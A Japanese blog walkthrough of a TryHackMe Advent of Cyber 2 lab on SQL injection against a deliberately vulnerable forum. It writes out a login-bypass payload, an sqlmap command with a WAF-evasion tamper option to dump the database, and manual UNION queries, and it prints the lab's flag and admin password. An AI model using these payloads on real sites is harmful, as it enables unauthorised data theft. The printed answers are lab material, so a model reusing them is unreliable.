[TryHackMe] Advent of Cyber 2, Day 5 - Walkthrough -

本稿では、[TryHackMe](https://tryhackme.com/)にて提供されている「[Advent of Cyber 2](https://tryhackme.com/room/adventofcyber2)」ルームに関する攻略方法（Walkthrough）について検証します。
「Advent of Cyber 2」は「free room」（無料）で提供されています。購読を必要とせずに仮想マシンを「展開（Deploy）」することができます。

>『Advent of Cyber 2』のWalkthroughインデックスを「[[TryHackMe] Advent of Cyber 2に参加してみた](https://qiita.com/v_avenger/items/ac9092374e5bf16a2dd0)」にて公開しました。

# [Day 5] Web Exploitation: Someone stole Santa's gift list!
## ストーリー
![Day 05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/1f09ec2e-b4a9-6665-0a3a-8c72a902cbd8.png)

>昨年の攻撃後、サンタさんとセキュリティチームはサンタさんの個人ポータルの復活に懸命に取り組んできました。その結果、「サンタのフォーラム2」が公開されました。
>
>攻撃の後、誰かがウェブサイト上のサンタのパネルを見つけ、彼のアカウントにログインしたことがログから明らかになりました。 ログイン後、ギフトリストのデータベース全体をダンプして、2020年のギフトをすべて手に入れることができました。攻撃者は、すべての情報を含む`wishlist.txt`ファイルを公開すると脅してきましたが、幸いなことに、その前に **CBI(Christmas Bureau of Investigation)** に捕まっていました。`MACHINE_IP:8000`では、ウェブサイトの複製が用意されています。あなたの目標は、ギフトのリストをダンプし、攻撃者の行動を再現することですよ！

## チャレンジ
>`Firefox`で脆弱なアプリケーションにアクセスし、サンタの秘密のログインパネルを見つけて、ログインをバイパスしてください。今日の課題で取り上げたコマンドやツールをいくつか使って、問題#3から#6に答えてください。
>
>サンタさんがアプリケーションをセットアップするときに書いたドキュメントを読みます。
>
>`Santa's TODO`: `sqlite`よりも優れた代替データベースシステムを見てください。また、昨年の攻撃の後に **Web Application Firewall(WAF)** をインストールしたことも忘れないでください。コマンドを忘れてしまった場合に備えて、`--tamper=space2comment` オプションを指定して `SQLMap` に `WAF` を回避するように指示することができます。

## Day 5 - #1.
>Without using directory brute forcing, what's Santa's secret login panel?

まずは、`Santa's Official Forum`へアクセスします。[Deploy]ボタンをクリックします。
ブラウザにて割り振られた`MACHINE_IP:8000`にアクセスします。`Santa's Official Forum`の画面が表示されます。
![Santas forum.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/698a04f1-5523-62a0-1080-6f41f92bdd3f.png)

出題には「*ブルートフォース攻撃を使わずに*」とあります。さっぱりわかりません。
[`Hint`]を参照しました。
![Question Hint.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a1083e10-0b5e-9109-d76d-dc66d876a6cf.png)
なるほど。「`s**ta`」と「`p***l`」からなる2つの単語にて構成されているようです。

![santapanel.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b534aa32-8ec9-c610-6ae1-6e11e793137e.png)

## Day 5 - #2.
>Visit Santa's secret login panel and bypass the login using SQLi

`Username`に`' OR 1=1--`を指定してみましょう。
![SQLi.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/92a41622-eb5a-519a-10e6-8c6a57b39812.png)

あっさりとパスワード認証をバイパスすることに成功しました。
![Santa Admin panel.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b5c30ca2-7414-8c92-d5d0-2d6e9ca99ae6.png)

## Day 5 - #3.
>How many entries are there in the gift database?

`Santa's admin panel`の`Enter`フォームに任意の文字列を入力し、`[Search]`ボタンをクリックします。
このときのリクエストを`Burp Suite`で記録します。

![santa.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/8712a79a-5f1b-f054-fa04-4b89a3105695.png)

`[Proxy]`タブにて右クリックメニューを表示し`[Send to Repeater]`を選択します。
![Repeater.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/2985e601-242c-f250-c942-f8f9b8cf6b6a.png)

`[Repeater]`タブにて右クリックメニューを表示し`[Save item]`を選択します。このときファイル名は`get_request`を指定しています。
![get_response.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/94430b7a-e16e-52b2-2399-f2e5c4b9709c.png)

`sqlmap`コマンドを使ってデータベースにアクセスします。`[チャレンジ]`項目に記載のサンタさんがアプリケーションをセットアップするときに書いたドキュメントを読み返してください。
コマンド構文は次のとおりです。

```
kali@kali:~$ sqlmap -r get_request --tamper=space2comment --dump-all --dbms sqlite
```

![sqlmap.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/2cff8621-d535-1252-bba9-c7425df69180.png)

## Day 5 - #4.
>What did Paul ask for?

`sequels`テーブルを参照すれば解答が得られます。

```
Database: SQLite_masterdb
Table: sequels
[22 entries]
+-------------+-----+----------------------------+
| kid         | age | title                      |
+-------------+-----+----------------------------+
| James       | 8   | shoes                      |
| John        | 4   | skateboard                 |
| Robert      | 17  | iphone                     |
| Michael     | 5   | playstation                |
| William     | 6   | xbox                       |
| David       | 6   | candy                      |
| Richard     | 9   | books                      |
| Joseph      | 7   | socks                      |
| Thomas      | 10  | 10 McDonalds meals         |
| Charles     | 3   | toy car                    |
| Christopher | 8   | air hockey table           |
| Daniel      | 12  | lego star wars             |
| Matthew     | 15  | bike                       |
| Anthony     | 3   | table tennis               |
| Donald      | 4   | fazer chocolate            |
| Mark        | 17  | wii                        |
| Paul        | 9   | github ownership           |
| James       | 8   | finnish-english dictionary |
| Steven      | 11  | laptop                     |
| Andrew      | 16  | rasberry pie               |
| Kenneth     | 19  | TryHackMe Sub              |
| Joshua      | 12  | chair                      |
+-------------+-----+----------------------------+
```

![gift database.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/aaabd2c2-91db-9621-7fef-a3fcc0d2429b.png)

## Day 5 - #5.
>What is the flag?

`hidden_table`テーブルを参照すれば解答が得られます。

```
Database: SQLite_masterdb
Table: hidden_table
[1 entry]
+-----------------------------------------+
| flag                                    |
+-----------------------------------------+
| thmfox{All_BLOCKED_You}                 |              
+-----------------------------------------+
```

## Day 5 - #6.
>What is admin's password?

`users`テーブルを参照すれば解答が得られます。

```
Database: SQLite_masterdb
Table: users
[1 entry]
+------------------+----------+
| password         | username |
+------------------+----------+
| EhCNSWzzFP6sc7gB | admin    |
+------------------+----------+
```

![password.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a0dc39e3-9b0d-a07c-93d2-42febd74c1cd.png)

これにてフラグの取得に成功しました。

5日目のミッションが終了です。

# 別解：ハンドクラフトなSQLi
ここでは`sqlmap`コマンドを使わずに解答する方法について検討します。

## SQLiの可能性
`Santa's admin panel`の`Enter`フォームに`'`記号を入力し、`[Search]`ボタンをクリックします。
![error.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/d022f18f-0f22-ce5c-d776-85d43f588341.png)

結果、次のエラーが表示されます。

```
unrecognized token: "'"
```

さらに、データとして`''`記号を入力し、`[Search]`ボタンをクリックします。このとき、エラーは回避されました。
![quotation.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/de3889a8-572d-dede-2a7c-0773e3523c3e.png)

単一のシングルクォーテーション`'`を指定した場合、SQL構文のエラーを示すメッセージが返答されました。さらに、2つのシングルクォーテーション`''`を指定した場合、エラーが回避されました。
一連の反応から`Santa's admin panel`はSQLインジェクション攻撃に対して脆弱である可能性を推定することができました。

## 列数の探索
エラーが発生するまで`ORDER BY`クエリを挿入します。`3`を指定したときにエラーが返答されました。結果、`Santa's admin panel`は2列であることが特定できました。
![ORDERBY.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a7596c86-3208-23c4-94ea-0cacab5928f0.png)

## テーブルの列挙
次のクエリを使ってテーブルを列挙します。

```
' UNION SELECT 1, tbl_name FROM sqlite_master--
```
![table.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/9ffa2128-05cb-9e31-409c-05c2e57df453.png)

## 列の列挙
次のクエリを使って列を列挙します。

```
' UNION SELECT 1, sql FROM sqlite_master--
```

![columns.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b03cfd02-7076-953b-0e6b-6872e0d916c2.png)

# 参考になるTryHackMeのルーム
- [SQL Injection](https://tryhackme.com/room/sqlibasics)
- [Burp Suite](https://tryhackme.com/room/rpburpsuite)

# 参考情報
- Codecademy, [List of SQL Commands](https://www.codecademy.com/articles/sql-commands)
- [【VulnHub】Kioptrix: Level 1.1 (#2) - Walkthrough -](https://qiita.com/v_avenger/items/a67301b6608b2f772822)
- [【VulnHub】Kioptrix: Level 1.2 (#3) - Walkthrough -](https://qiita.com/v_avenger/items/c458f1d38593b8a40fa2)

# Walkthrough
- Constant Vigilance, [Someone stole Santa's gift list! - web exploitation](https://www.wclaymoody.com/blog/tryhackme-adventofcyber-2020/#day-5), フラグ取得までを自動化したPythonコード
- BRYAN WENDT, [TryHackMe – Advent of Cyber 2 – Day 5 – Walkthrough](https://bryanwendt.wordpress.com/2020/12/05/tryhackme-advent-of-cyber-2-day-5-walkthrough/)
- NEERANJAN MURUGAN, [Advent of Cyber 2 ~ Try Hack Me](https://neeranjan.com/advent-of-cyber-2-try-hack-me/)